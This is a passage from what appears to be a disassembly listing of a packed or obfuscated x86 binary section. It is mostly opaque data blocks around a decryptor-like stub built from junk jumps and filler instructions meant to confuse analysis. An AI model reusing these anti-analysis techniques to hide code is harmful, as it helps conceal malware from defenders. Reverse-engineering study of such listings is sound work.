423EAAE8h, 4D70D26h, 0F30410ADh, 3B434D3Eh, 4424A770h dd 0D1304308h, 0DBA2A45Eh, 50D514EAh, 0C4121C12h, 0E521AA04h dd 3968EF9h, 3598502Ch, 486F026Ch, 2EF1F783h, 50D7B5F8h dd 0B4E673FAh, 7BF1B145h, 483450FAh, 7D5938B2h, 623900BCh dd 36F17859h, 0CE0F1D5Dh, 265C29CCh, 536709E8h, 906733Eh dd 19D02D33h, 5F47DC8Fh, 0EE070852h, 5C38A05Ch, 0B5AEB47h dd 6F3FB437h, 3CD0CA4Dh, 65F6C802h, 80E026E2h, 2C62C67Bh dd 8059CABDh, 3D3CFA59h, 0B6E92744h, 1EE68DDDh, 4C05E4E4h dd 0C20CA18Ah, 8A8CEFEDh, 0EEC10C10h, 0BD7C4357h, 3144CDA7h dd 0BCF6CE09h, 41DEEC68h, 0FDBCDE24h, 45F1E11Dh, 0F907BE96h dd 0BA90FA54h, 0BFC8E487h, 2AD4118Bh, 1D9A2536h, 0FE0FEF6Fh dd 0B15F0680h, 49A2AA3Fh, 0EC7D3F06h, 4E2D4839h, 0DDF0985h dd 0E6DA1BDDh, 8134647Bh, 640ACA75h, 28D2B1ADh, 7EF084Bh dd 3D9E6300h, 3FAF75C3h, 6211961Ch, 0A9AA440Ch, 0C380BF32h dd 9C8A9F79h, 8DC5F728h, 0D07DB955h, 9E510E09h, 0A7BCAAD5h dd 63A6D026h, 0A7BCA372h, 94E2BAC5h, 0A9B1F350h, 7EB9C658h dd 9070B661h, 4D9A53FAh, 5E03F1EEh, 1CE147F2h, 6BB8CC15h dd 14BF6CBCh, 0ABEB5018h, 0D234DC30h, 676187E5h, 305C0116h dd 3382AE0Dh, 44B80F9Ch, 0A1CFB1D4h, 0ABA338DBh, 0FD55AA0Dh dd 712146C6h, 56964925h, 2D6DDB01h, 1D5F37EAh, 0CD70524Eh dd 47F92D31h, 0A4833AFBh, 0A1FA3C29h, 3671259Bh, 0A2B30462h dd 2A07F846h, 0B2A395D8h, 8D9EDE5Fh, 44721E85h, 0C7934820h dd 0F79E2Eh, 49FE2F4Eh, 0A7C5FCF5h, 0B3B6BBDh, 56F0F70Dh dd 8D3C7D86h, 287F8F4Ah, 7D2DF30Bh, 285C04D5h, 52379805h dd 0B147ABCAh, 3AA86B94h, 0C1486F39h, 0D85E3E93h, 2D42764Bh dd 0D64EFB6Eh, 0C6A1F735h, 4B0A1AF6h, 3018354Ah, 0CF8401F0h dd 0DF67C47Eh, 0B2CCAF95h, 37168BBDh, 22A40BF7h, 9D2BCF6Dh dd 63CA5CC9h, 54C439C5h, 9A1213C1h, 97219612h, 0FEFD1662h dd 6C9B1AD8h, 0D23D29E1h, 0A5268058h, 0BE78DDD6h, 90120E3Fh dd 0C5CC52FAh, 71835C44h, 0EBBA2CB8h, 0A7F8BAC1h, 3CC813D8h dd 2EC675Ah, 802000AFh, 9717703Eh, 6DAAFAB4h, 81A97314h dd 9A6405E2h, 5E0F56DEh, 7B25D3ECh, 502039AAh, 0B191218Eh dd 0C9912CCh, 40B0336Eh, 0C3BBD1C2h, 0EBF71D86h, 8A402EA5h dd 2FB74120h, 56284E5Bh, 3C5AFACAh, 0A78C18ADh, 49F1D4FEh dd 4A634D93h, 318449B9h, 84737289h, 673F997Ch, 0C42830EBh dd 49910183h, 31C287F6h, 32C9F44h, 7B873F0h, 8193E4EEh dd 4802CDh, 90A88C54h, 3838EDD9h, 0BF2036F1h, 85D51351h dd 75042982h, 14A15019h, 397E1943h, 0CEFBE96Eh, 602048A3h dd 986F2F62h, 78685524h, 0AD626E1Dh, 34363AA6h, 488D281Dh dd 39046E4Dh, 3C78A546h, 740D41EAh, 4BB968C5h, 0ED356E70h dd 79214915h, 0C4598FA4h, 116DE35Bh, 0A521E1B1h, 0CDC0E29Bh dd 47D423E1h, 72D9E1FCh, 67B5394Eh, 0B057FE56h, 96B2D6E7h dd 3D50B6DCh, 9C1B60D2h, 9A967798h, 85926B36h, 0EDAF203Dh dd 48BAB74h, 0C4E00F23h, 0BA6694A0h, 0BE3B2F20h, 3F2920BCh dd 9497AE28h, 41CC6DCh, 0D9D66B4Eh, 54EDC40Dh, 0EEFE1C95h dd 53348148h, 50233DEAh, 1AC7E3FAh, 0FFA857CFh, 0EDD32431h dd 40EE4456h, 0FAEFD830h, 6463C9DDh, 0E5FFC22Bh, 7BD5DCCDh dd 6AA60001h, 0F37386E6h, 91CF28E1h, 0E34D523h, 17CF3B4Ch dd 0BCAA09D2h, 0C0E1A357h, 0BD67B575h, 6E6CC4C2h, 0E76D125Dh dd 1A27A800h, 0E4B0D336h, 888DA2E7h, 3A53485Eh, 29542946h dd 3EF511D1h, 0A7DBDA03h, 341B1CB9h, 53D05E7Dh, 0E8F83A62h dd 0E82A7E49h, 0EB0350A8h, 0A1E626ABh, 0DC32DDDDh, 0D2D631DEh dd 7EFA815Dh, 1D51C72Fh, 38A6CC6Dh, 84944B56h, 2F3C0592h dd 23DDC137h, 85991D81h, 8E783BBAh, 0C9F8E2FBh, 0CA0CA015h dd 1B362B69h, 0FC578C7Bh, 0B7934C10h, 847A7871h, 0BA19F995h dd 405F53C5h, 0CD4602F1h, 8D187AF5h, 464B3B32h, 92A8BF03h dd 632DA1E2h, 0D9875994h, 2591CEC4h, 27EE019Ch, 9A6C803Bh dd 0A87586B5h, 1C0F9847h, 0A1C3C20Dh, 294969E5h, 0EAC56B09h dd 7D271EA2h, 0DE970627h, 22C73089h, 0BC706B2Eh, 0AA40EB2Dh dd 0BD727832h, 4A0BBD59h, 1423BF0Eh, 0A858DFC8h, 6AB520B8h dd 486398D1h, 18B164C5h, 0F2E23829h, 37E3D4Eh, 0FEAC2FCAh dd 336BD469h, 25B26541h, 0CF476282h, 402E0C8Bh, 6611F638h dd 0A1E74A32h, 2C3F54F4h, 0FA687A48h, 9564694h, 15DC92B3h dd 0B07972A5h, 0F835A53Eh, 0BB6195C2h, 2A8C217h, 5273D817h dd 3837314Ah, 0BA2FA451h, 95D3676Dh, 0FDE7F14Bh, 44A98984h dd 0C7D77B5Eh, 0F9CE972Ch, 0E6FE2C34h, 7D280384h, 0CE079E26h dd 1C9638C9h, 0B4B55170h, 16320B03h, 0D2B749ACh, 0B94538CCh dd 0EED986BDh, 0B4807841h, 0F565057Dh, 0BB4EB35Dh, 0E8E057Ch dd 0CB8F89D1h, 692F4FBDh, 629DB0Bh, 0A95F2377h, 153520EAh dd 54E62E1Dh, 82A633E3h, 5B990955h, 0E79B6244h, 43386140h dd 4B2222B4h, 647A3327h, 5A274852h, 5AD55DEAh, 8275B5D6h dd 0B27D1320h, 0DAD99AFBh, 0F1D1545Eh, 4B43D96Dh, 50291651h dd 4F7F484Bh, 0FAFFF1BFh, 0F47B5623h, 542F0BC8h, 34FEA22Ah dd 0DD31905Dh, 0BEBB7E35h, 820B0C23h, 7D803236h, 0F20D6D0Ah dd 0D7F82865h, 56090538h dd 0F39CE245h, 0BA1669B6h, 766D6976h, 3D24CC89h, 0C590A7D6h dd 933D6772h, 9EC9FA93h, 0D6FE83B9h, 0E89B53CCh, 0F7B3CF33h dd 0D0D91158h, 14D584C7h, 0A9000830h, 7C245AE3h, 0FE81481Fh dd 2F34D03Ch, 0EBC5DC27h, 0BC0D0201h, 0EE7C5974h, 3F191B64h dd 0C2E5C1DAh, 0DF7D3AE9h, 98C20AA6h, 1563BC5h, 0F8E25813h dd 38DB266Dh, 9CC7CB03h, 2BDD7A02h, 8A8D7DF0h, 0B23EDB5Ah dd 5ECBAEDBh, 0B24A62Ch, 0B4D02517h, 0A3457908h, 0F4B0EB2Fh dd 17012A33h, 24764837h, 0D848E1C8h, 0E0E55839h, 0C1C16298h dd 0E126FBFDh, 0B2C7A4FAh, 45B6E0C6h, 6BE75D25h, 739DB994h dd 7613903h, 878324EAh, 0AA7D3DD2h, 3E4F2D4Bh, 6A577B63h dd 0BF48FBC8h, 0C801BE6Fh, 0CBEA8C48h, 1EA54CE6h, 5DBDA4E6h dd 35C9F3CAh, 0A7A6E6A7h, 4529A8F6h, 0D42D81C2h, 0F6365C33h dd 41A3E680h, 95F3A3CDh, 0CC553A35h, 5AE28C13h, 0DAFAD214h dd 0AD4C719h, 7D0BF30Ch, 0F261BD7Eh, 3DFDC9E8h, 13244110h dd 56C1A66Ch, 0B77E5Ah, 0F09B2C07h, 5C5C26DDh, 0F455D18Ah dd 0E1878699h, 0A9E4C8E0h, 33B31EFCh, 8495FB4Fh, 19C43097h dd 0C92A923Bh, 174F49D2h, 3263B22Fh, 332095AAh, 0CD6CE278h dd 5D49BFCEh, 9FF300EBh, 0ED26E59Ah, 0CDECD176h, 0E5DBFDFDh dd 32830BBAh, 2DF94898h, 113A9608h, 2ECA3C0h, 0D46D51F2h dd 25BB5A15h, 809B1D1Dh, 8734A1B5h, 7F73841Bh, 5ABD574Fh dd 94A9BB5Bh, 0D448BC6Ah, 749E8725h, 72BE4ED5h, 5533A328h dd 0B0123363h, 0ACB8CF81h, 459639Eh, 0F813A4D1h, 20193442h dd 9C4BC886h, 0D4C2D33Ch, 799891FCh, 904E098Ch, 1D0EE267h dd 0D93AE972h, 0E91975BAh, 0FC5A7211h, 2FF1C1EEh, 3BD6DF74h dd 0CFA400E6h, 0BBBBC5E5h, 5F55C1E3h, 53B0E224h, 8A9D44E6h dd 0A8C1B01Bh, 130A379h, 0A5BFD509h, 5503DCCAh, 684E483Ch dd 1EDBB618h, 0AB594B50h, 837C753Eh, 0D67CF79Ch, 81B9254h dd 5AD738C3h, 11A2649h, 30E51430h, 1C2EBD1Fh, 1A42C3EFh dd 53EF79E9h, 0C60D27B0h, 6FB3C71Dh, 0CAD357A9h, 5EA77E40h dd 2BAD2EC1h, 0A79E90ABh, 5478E4ADh, 7EAE0419h, 0E57A2DF7h dd 0F4BB72DEh, 0A68DB9A9h, 40E0B0E4h, 0A613A1CDh, 0C38F4FC3h dd 0A646DE01h, 0C08DF8F5h, 0AAF8E304h, 0A0B3D129h, 0A649F37Dh dd 0F2AB528Ah, 32A92D9Dh, 0B1C4109h, 734DE96Bh, 0B770074Bh dd 5414FE2Bh, 0B67EFF2Fh, 50E091E1h, 7EE985B6h, 4834BB91h dd 5B8CFD0h, 0D36067ADh, 0E34ECA91h db 0E8h, 32h ; --------------------------------------------------------------------------- loc_468902: ; CODE XREF: DMN1:004696D0j xchg eax, [edx-7BC48A18h] sub [edx], dl rcr dword ptr [esi+55h], 1 ror dword ptr [ecx], cl inc ebp not byte ptr [edi+33AB1D83h] pusha fnstsw word ptr [edi-48BEC972h] rcr byte ptr [ebp+5F2951E5h], cl sbb [ebx+7Fh], ecx jmp far ptr 0FEF6h:759C38CDh ; --------------------------------------------------------------------------- db 0EEh, 39h, 0E2h dd 12971FE9h, 0C4F9AC2Eh, 0C66CD3FAh, 0B1FF1D7Dh, 70156DFBh dd 55722498h, 0C1AE4DB7h, 0FD720C8Fh, 9E12F98Ah, 9D5129B0h dd 7445459Fh, 0FC9C8E43h, 0FF0C1D63h, 7299AB6Ah, 0F8A58FFh dd 4889114Fh, 0F10CC05h, 1F9C4882h, 0DFA9F4DBh, 416D4705h dd 8B93A82Ah, 0C9730983h, 3F584110h, 0F234A528h, 0D99A9D66h dd 2E196370h, 0D9975AE3h, 87E85ADAh, 5B843B0Eh, 8BF16544h dd 4BA649A4h, 73C5132Dh, 0DFB2BC3Eh, 47EF14EBh, 84B8A28Ch dd 0B8B5D234h, 158EB8C2h, 1E7EF7AAh, 867F8A9Ch, 23C26C0h dd 4B253504h, 0D2C4F6Ch, 0FDA1500Ch, 9FC382AEh, 0A7131504h dd 5558582Ch, 574C5F5Ch, 0A5ABCD5Fh, 0BDC67D2Eh, 0A7645107h dd 0FB6D4509h, 0BE1891D5h, 0EEE912BDh, 8EEA6B01h, 0B0CA51B4h dd 0D7ED16C3h, 66FE9B6Eh, 65364640h, 0CBD1B952h, 0B1E9C21Dh dd 30D14B27h, 2E63536Bh, 460D85h, 956A180Bh, 0A11BF2D5h dd 13D412F7h, 0C74482EEh, 2B82271Eh, 4519357Eh, 4FE8211Ch dd 3B2E1F6Eh, 560BEE11h, 9C8B371h, 0B331413h, 0AC412BA7h dd 0EC698430h, 0F92C96F4h, 63EC966Ah, 55F7C26Dh, 248BE5F4h dd 0E19AC112h, 0E1F0ED32h, 0F6300AFh, 7E8A29F5h, 0EA7529A8h dd 62CB18D0h, 35F21EFEh, 0BE74C06Ch, 754BBA7Ch, 0D885A167h dd 594374EAh, 866A5F2h, 3515B53Ah, 0A61240D4h, 0BCB992ABh dd 2282367Dh, 31472039h, 0CD528475h, 8364581Ah, 0E9EEA2F3h dd 53532D72h, 3033662Ch, 0A911A55Bh, 0E1DD6BA3h, 7717B70Dh dd 0E3D49975h, 0E7B6FD9Bh, 1F78375Dh, 4F2CFD37h, 1D093659h dd 0AB8E61AEh, 0B985F695h, 0EFEE6C8Ch, 0D910A634h, 0A1129C49h dd 0DAAA088Bh, 0E2173FB5h, 0F312E32Ah, 754920F0h, 27A12485h dd 0DE22D7D5h, 8AA4F820h, 2C468F47h, 0AC2B7EAFh, 1F2E7DA0h dd 62593274h, 9E8FC294h, 0FC486ED8h, 0E16EE0A1h, 72D7424h dd 34DA388Dh, 90E13A67h, 1B24C5E3h, 7A8174BCh, 1CFEA47Dh dd 13B4DD0Ah, 0E4F36FBDh, 62E23C47h, 965FB6DFh, 519D1C2Dh dd 0C0ED9DE6h, 422D5323h, 54FA2B3Fh, 0C2321E58h, 0C3D50605h dd 50466888h, 167DFAAEh, 0EDE9D012h, 2AF82302h, 8119835Dh dd 0D50324BAh, 78D3A75Eh, 70CCD386h, 6D4C286Ch, 3879D256h dd 8E3E2A3Eh, 89EFE312h, 0D67E4B90h, 0F3E0FA35h, 1579449Dh dd 78835A8Ch, 412085ECh, 0DF89A670h, 6C05E9B4h, 19B75DC7h dd 3095CF2Dh, 7251E71Ah, 0E6929FEDh, 6F4B2DBh, 87E9221Ch dd 2381EE27h, 0DBD68F67h, 0FB9438B7h, 0FCBEC7C1h, 6C8AF888h dd 90A06D6h, 8436A189h, 0D1D53340h, 0CCB7A670h, 573F9080h dd 5122DCEAh, 110268FDh, 0AD1FEAFBh, 42A64B8Fh, 5FD80E22h dd 76E85AF5h, 8F3CDBC7h, 0FF536329h, 0E51302FDh, 0B7BEB37h dd 3B6E20FDh, 7FE0F7Ah, 0A858A9C0h, 0C9F85A95h, 0E0C336C4h dd 9CF6180Eh, 4E83985Bh, 79F6BA6h, 4982B1C0h, 0BE131F83h dd 2C53995Dh, 53C2F2A9h, 68F95443h, 0ED8F241Ah, 24CB436Fh dd 3A7FE7F9h, 9BCEB65Ch, 835BB3EEh, 8C81D425h, 826D0071h dd 9A9107E3h, 931BA087h, 4D561A78h, 3838735Bh, 5E7A6695h dd 271AE8Dh, 922ADCh, 9BFC4BA5h, 270E8E28h, 4DA632CBh dd 50810F06h, 6C4DF6B4h, 0B3CC7E42h, 210FF2C9h, 0D04DBA23h dd 17D15CDh, 562DEAB1h, 3DF78F17h, 91D384E3h, 4F44D13Eh dd 87CCAD80h, 0E291109Bh, 7A694ECCh, 89B067E7h, 2531B27Eh dd 154109B8h, 0DDA312C5h, 94FE945Ch, 4B9984E3h, 2AF76DDFh dd 0C09F1BE8h, 89F09AF3h, 7277B5B9h, 0FD71FE60h, 339DBD23h dd 0DD318A10h, 0F3A94709h, 29A4E92Eh, 0FA4214ECh, 0EFA65E66h dd 0E361411Fh, 83F6FE7Eh, 77EE3A24h, 5F0CABEFh, 50E4416Eh dd 11A6C81Bh, 7D5ADDEFh, 0CCD9AA4Eh, 5E03CC44h, 210C8F0h dd 9B005181h, 9BB31223h, 40790EF3h, 4A6CAD84h, 0AAC8AADEh dd 12B2ABE0h, 8E670C16h, 0B60F7EB9h, 33A095F5h, 0F2D38A3Dh dd 5843FE8Ch, 7E446B41h, 0E2C27947h, 800F7672h, 1CB7D1BAh dd 70820341h, 2FB1BE51h, 4DFBC601h, 20D0F68Bh, 5FA90993h dd 4BDD93CEh, 0FC392420h, 4E62D8ADh, 6DE1EE19h, 1F6B70FEh dd 8B6BB7EBh, 9581D81Fh, 4EB0A2CBh, 0B712F44Fh, 0F01A77D4h dd 0B9203BFDh, 2784D87Ch, 9063387h, 0FB3EC46Bh, 22ACD0D1h db 8Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [esp+8] mov ebp, eax pusha mov eax, 0D715F6E9h push eax dec eax jmp short loc_468DFA ; --------------------------------------------------------------------------- dd 0E4D77169h, 7BFC11A0h, 3368E8B6h, 687B38CEh, 72EDD866h dd 90A8FEC3h db 7Eh, 31h ; --------------------------------------------------------------------------- loc_468DFA: ; CODE XREF: DMN1:00468DDEj cld jmp short loc_468E15 ; --------------------------------------------------------------------------- db 0F9h, 0EDh, 35h dd 2018001Ah, 704FD1EEh, 0FFD46691h, 20817FE0h, 45897589h ; --------------------------------------------------------------------------- inc esi loc_468E15: ; CODE XREF: DMN1:00468DFBj xchg ebx, esp jmp short loc_468E29 ; --------------------------------------------------------------------------- db 0D7h, 17h, 0A7h dd 9F1EE967h, 0C8715FACh, 0F3FE3D97h ; --------------------------------------------------------------------------- push esi loc_468E29: ; CODE XREF: DMN1:00468E17j clc jmp short loc_468E4B ; --------------------------------------------------------------------------- dd 7C56CDFDh, 5085D8C5h, 0A247EE77h, 88F99CE3h, 7431F3Ah dd 4BD8803Ah, 9AFE131Bh db 98h, 0D1h, 5Bh ; --------------------------------------------------------------------------- loc_468E4B: ; CODE XREF: DMN1:00468E2Aj xchg ecx, esi xchg eax, eax jmp short loc_468E5A ; --------------------------------------------------------------------------- stosd cdq mov bl, 3Dh mov ds:0E3F27AA0h, eax loc_468E5A: ; CODE XREF: DMN1:00468E4Fj jmp short loc_468E73 ; --------------------------------------------------------------------------- fxch4 st xchg eax, esi retn ; --------------------------------------------------------------------------- cli or edi, [esi-5189960Ch] sti imul ebx, [esi-6C1BE6ECh], -77h xchg eax, edx add [edi+ebx], dh loc_468E73: ; CODE XREF: DMN1:loc_468E5Aj jmp short loc_468E78 ; --------------------------------------------------------------------------- db 3Fh, 83h, 0BFh ; --------------------------------------------------------------------------- loc_468E78: ; CODE XREF: DMN1:loc_468E73j jmp short loc_468E97 ; --------------------------------------------------------------------------- mov ebp, 9329EA99h clc xchg eax, ecx adc al, 0D7h scasd mov eax, [eax+62BD9A72h] cwde test al, 0ECh cld mov edi, 0B0770249h pop ss xor al, [esi+67h] loc_468E97: ; CODE XREF: DMN1:loc_468E78j mov esi, 31000h jmp short loc_468EAA ; --------------------------------------------------------------------------- dw 0E6Fh dd 87204C85h, 0C17BE2B5h db 0CEh, 64h ; --------------------------------------------------------------------------- loc_468EAA: ; CODE XREF: DMN1:00468E9Cj xchg ebx, esp jmp short loc_468EBA ; --------------------------------------------------------------------------- dw 22E0h dd 2587ED7Ch, 44F52813h db 51h, 65h ; --------------------------------------------------------------------------- loc_468EBA: ; CODE XREF: DMN1:00468EACj stc jmp short loc_468EC7 ; --------------------------------------------------------------------------- db 68h, 0B9h, 30h dd 4006DF76h db 74h, 30h, 29h ; --------------------------------------------------------------------------- loc_468EC7: ; CODE XREF: DMN1:00468EBBj jmp short loc_468ECE ; --------------------------------------------------------------------------- db 9Fh, 0B2h, 0 db 5Ah, 0EEh ; --------------------------------------------------------------------------- loc_468ECE: ; CODE XREF: DMN1:loc_468EC7j jmp short loc_468EDD ; --------------------------------------------------------------------------- mov esp, [ecx] xor al, 0ADh jbe short loc_468F4B or al, 0ADh pop ecx pusha sar byte ptr [ebx], 1 loc_468EDD: ; CODE XREF: DMN1:loc_468ECEj jmp short loc_468EF0 ; --------------------------------------------------------------------------- db 5Ch dd 2250BE69h, 0DD22AA62h, 0F14735CAh, 0D46BA6C1h ; --------------------------------------------------------------------------- loc_468EF0: ; CODE XREF: DMN1:loc_468EDDj jmp short loc_468F06 ; --------------------------------------------------------------------------- dw 0CD45h dd 4CD75BCDh, 750D9388h, 0ED0260C8h, 519CD781h db 5Ch, 33h ; --------------------------------------------------------------------------- loc_468F06: ; CODE XREF: DMN1:loc_468EF0j clc jmp short loc_468F19 ; --------------------------------------------------------------------------- db 0FEh, 7Eh, 0DEh dd 4A58B3A1h, 245E19A7h, 0D3C68B2Fh db 6Eh ; --------------------------------------------------------------------------- loc_468F19: ; CODE XREF: DMN1:00468F07j mov edi, 5829h loc_468F1E: ; CODE XREF: DMN1:00469549j xchg esp, edi clc xchg ebx, ebx jmp short loc_468F35 ; --------------------------------------------------------------------------- db 9Ch, 43h, 0A1h dd 0B0D66469h, 0D2A6DB81h, 21F365B8h db 64h ; --------------------------------------------------------------------------- loc_468F35: ; CODE XREF: DMN1:00468F23j clc jmp short loc_468F39 ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- loc_468F39: ; CODE XREF: DMN1:00468F36j jmp short loc_468F46 ; --------------------------------------------------------------------------- db 42h dd 2F804ED1h, 0BA8DD525h db 79h, 18h ; --------------------------------------------------------------------------- loc_468F46: ; CODE XREF: DMN1:loc_468F39j jmp short loc_468F5D ; --------------------------------------------------------------------------- add cl, ah popa loc_468F4B: ; CODE XREF: DMN1:00468ED5j cmc or ebx, [bx+di] sbb ds:0B102626Bh, bl push edi cdq sub edx, [ecx] adc [eax-0Fh], al ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- loc_468F5D: ; CODE XREF: DMN1:loc_468F46j jmp short loc_468F62 ; --------------------------------------------------------------------------- db 84h db 0DAh, 15h ; --------------------------------------------------------------------------- loc_468F62: ; CODE XREF: DMN1:loc_468F5Dj jmp short loc_468F6E ; --------------------------------------------------------------------------- dd 0FA42230Dh, 64B9FEFBh ; --------------------------------------------------------------------------- adc ecx, esp loc_468F6E: ; CODE XREF: DMN1:loc_468F62j jmp short loc_468F8F ; --------------------------------------------------------------------------- dd 0BE985F94h, 0B29F3132h, 2313869Eh, 52DD0C1Bh, 39483E61h dd 35E4A448h, 7BCFA9B5h db 14h, 7Ah, 8Dh ; --------------------------------------------------------------------------- loc_468F8F: ; CODE XREF: DMN1:loc_468F6Ej jmp short loc_468F97 ; --------------------------------------------------------------------------- db 0ABh, 0DFh, 0B1h ; --------------------------------------------------------------------------- cmc xchg eax, esp xchg eax, edx loc_468F97: ; CODE XREF: DMN1:loc_468F8Fj jmp short loc_468FA6 ; --------------------------------------------------------------------------- db 45h, 0Dh, 0Ch dd 11B0AE8Bh, 0FBA01B39h ; --------------------------------------------------------------------------- xchg eax, esp push ecx loc_468FA6: ; CODE XREF: DMN1:loc_468F97j jmp short loc_468FB3 ; --------------------------------------------------------------------------- dd 63C37598h, 6E61B8D8h db 8Eh, 4Bh, 0ACh ; --------------------------------------------------------------------------- loc_468FB3: ; CODE XREF: DMN1:loc_468FA6j jmp short loc_468FB6 ; --------------------------------------------------------------------------- db 0D8h ; --------------------------------------------------------------------------- loc_468FB6: ; CODE XREF: DMN1:loc_468FB3j mov ebx, esi jmp short loc_468FC7 ; --------------------------------------------------------------------------- cld and [edi], esp sub bl, [edx] jmp dword ptr ds:0FEEFA03Ch ; --------------------------------------------------------------------------- db 5Ch, 0D0h ; --------------------------------------------------------------------------- loc_468FC7: ; CODE XREF: DMN1:00468FB8j jmp short loc_468FE3 ; --------------------------------------------------------------------------- xchg eax, ecx inc ecx and esi, [ebp-7BF6AF6h] mov ebx, 18C0453Eh pop esi retf ; --------------------------------------------------------------------------- dd 0DAF42BB7h, 993B5AAEh db 0E2h, 31h, 0B8h ; --------------------------------------------------------------------------- loc_468FE3: ; CODE XREF: DMN1:loc_468FC7j add ebx, ebp jmp short loc_468FF0 ; --------------------------------------------------------------------------- db 43h dd 40C5463Ah, 93C53685h ; --------------------------------------------------------------------------- loc_468FF0: ; CODE XREF: DMN1:00468FE5j dec edx jmp short $+2 jmp short loc_46900B ; --------------------------------------------------------------------------- db 0F1h, 25h, 0BFh dd 0DF3D6040h, 4AAA7EF5h, 9F11073Ah, 0AAE05E93h db 8Bh, 0ABh, 85h ; --------------------------------------------------------------------------- loc_46900B: ; CODE XREF: DMN1:00468FF3j xchg esi, esp loc_46900D: ; CODE XREF: DMN1:0046906Aj mov eax, [ebx] jmp short loc_469020 ; --------------------------------------------------------------------------- pop ss and eax, 0D10EBF09h jbe short near ptr loc_469019+4 loc_469019: ; CODE XREF: DMN1:00469017j mov ebp, 2F75C057h adc eax, esp loc_469020: ; CODE XREF: DMN1:0046900Fj jmp short loc_46902F ; --------------------------------------------------------------------------- dw 79ADh dd 518F1698h, 5669D3DCh ; --------------------------------------------------------------------------- or ah, [edx-7Bh] loc_46902F: ; CODE XREF: DMN1:loc_469020j jmp short loc_469049 ; --------------------------------------------------------------------------- db 0DDh, 81h, 4Ah dd 86791D3Eh, 0AE5045A0h, 51DD77E7h, 9FC1D081h, 0EF9D51A8h db 79h ; --------------------------------------------------------------------------- loc_469049: ; CODE XREF: DMN1:loc_46902Fj xchg eax, edx jmp short loc_46905C ; --------------------------------------------------------------------------- db 0DCh, 55h, 2Dh dd 0A31293E1h, 0D8D4ADF5h, 0F13F8578h ; --------------------------------------------------------------------------- loc_46905C: ; CODE XREF: DMN1:0046904Bj xor edx, [edi] jmp short loc_46906C ; --------------------------------------------------------------------------- mov bl, 2Eh push es add bh, [eax-3A442E81h] lodsb jno short loc_46900D loc_46906C: ; CODE XREF: DMN1:0046905Ej jmp short loc_469070 ; --------------------------------------------------------------------------- dw 4ABDh ; --------------------------------------------------------------------------- loc_469070: ; CODE XREF: DMN1:loc_46906Cj xchg edx, [edi] jmp short $+2 jmp short loc_469080 ; --------------------------------------------------------------------------- dw 9372h dd 0F6178C7Eh, 46874578h ; --------------------------------------------------------------------------- loc_469080: ; CODE XREF: DMN1:00469074j jmp short loc_469099 ; --------------------------------------------------------------------------- xchg eax, edx retn 2EB6h ; --------------------------------------------------------------------------- dw 6D8Ch dd 2E27813Dh, 4AE8094Fh, 0BCAE60F8h, 6F0B51CBh db 0Fh ; --------------------------------------------------------------------------- loc_469099: ; CODE XREF: DMN1:loc_469080j jmp short loc_4690A7 ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- cmp eax, 8F2AB8A0h das push esp scasb sar byte ptr [ebp-33h], 1 loc_4690A7: ; CODE XREF: DMN1:loc_469099j jmp short loc_4690AA ; --------------------------------------------------------------------------- cmpsd loc_4690AA: ; CODE XREF: DMN1:loc_4690A7j test ebx, 0D87095D3h xchg ebx, esi xchg esi, esp jmp short loc_4690CA ; --------------------------------------------------------------------------- dw 0D212h dd 0D8F27BD5h, 0C1ABABDFh, 0F319A2DDh, 66CB10ACh db 1Eh, 14h ; --------------------------------------------------------------------------- loc_4690CA: ; CODE XREF: DMN1:004690B4j jmp short loc_4690DB ; --------------------------------------------------------------------------- dd 295FE5EFh, 91B67FC5h, 9246B1A6h db 0BAh, 0E7h, 50h ; --------------------------------------------------------------------------- loc_4690DB: ; CODE XREF: DMN1:loc_4690CAj clc xchg esp, ebx sub edx, 0BD1622h jmp short loc_4690F0 ; --------------------------------------------------------------------------- dw 5B75h dd 0E7AF5956h, 5D991206h ; --------------------------------------------------------------------------- loc_4690F0: ; CODE XREF: DMN1:004690E4j jmp short loc_469111 ; --------------------------------------------------------------------------- dw 4161h dd 0AA341223h, 5C8BA3F7h, 0E97432B2h, 61C558D1h, 0DDE1D5BAh dd 4F3AF25h, 0F7BEBCE1h db 9 ; --------------------------------------------------------------------------- loc_469111: ; CODE XREF: DMN1:loc_4690F0j xchg ebx, ebp inc ebp jmp short loc_469117 ; --------------------------------------------------------------------------- daa loc_469117: ; CODE XREF: DMN1:00469114j jmp short loc_469130 ; --------------------------------------------------------------------------- db 1Eh, 7Fh, 0C0h dd 778E0D34h, 0C823E697h, 0E2C505FDh, 660B404Fh, 0F7045086h ; --------------------------------------------------------------------------- loc_469130: ; CODE XREF: DMN1:loc_469117j jmp short loc_469141 ; --------------------------------------------------------------------------- dw 9C56h dd 8AB746FBh, 0F09F2C33h, 87BD755Ch db 29h ; --------------------------------------------------------------------------- loc_469141: ; CODE XREF: DMN1:loc_469130j xchg ebp, edx stc rol eax, cl rol ebp, 1 jmp short loc_46914B ; --------------------------------------------------------------------------- push ebx loc_46914B: ; CODE XREF: DMN1:00469148j jmp short loc_469169 ; --------------------------------------------------------------------------- db 2Dh, 40h, 42h ; --------------------------------------------------------------------------- pop eax and cl, [edi-73D038DAh] jmp fword ptr [edi] ; --------------------------------------------------------------------------- db 0B5h, 1Ch, 20h dd 50A973E4h, 1AE7658Ah, 463F38Fh db 0F0h ; --------------------------------------------------------------------------- loc_469169: ; CODE XREF: DMN1:loc_46914Bj jmp short loc_469185 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 8076969Ah, 281951E0h, 26A4E0B1h, 0F6D59DEh, 43EF7584h dd 0EFFA2C12h ; --------------------------------------------------------------------------- pushf loc_469185: ; CODE XREF: DMN1:loc_469169j xchg ebp, [edi] neg eax xor edx, 0CDD9CE8Ch jmp short loc_4691A3 ; --------------------------------------------------------------------------- db 44h, 0E4h, 69h dd 265EC4B6h, 0F9D87618h, 315FDAF5h db 62h, 35h, 6Bh ; --------------------------------------------------------------------------- loc_4691A3: ; CODE XREF: DMN1:0046918Fj jmp short loc_4691B0 ; --------------------------------------------------------------------------- db 44h, 82h, 68h dd 79814BAFh, 0A8AE7355h ; --------------------------------------------------------------------------- loc_4691B0: ; CODE XREF: DMN1:loc_4691A3j cmc jmp short loc_4691D0 ; --------------------------------------------------------------------------- db 87h dd 0A509C8E8h, 893220E8h, 0A70BAA5h, 9EC0611Ah, 8FE8861Ch dd 0B0801B4Dh, 0DA20C222h ; --------------------------------------------------------------------------- 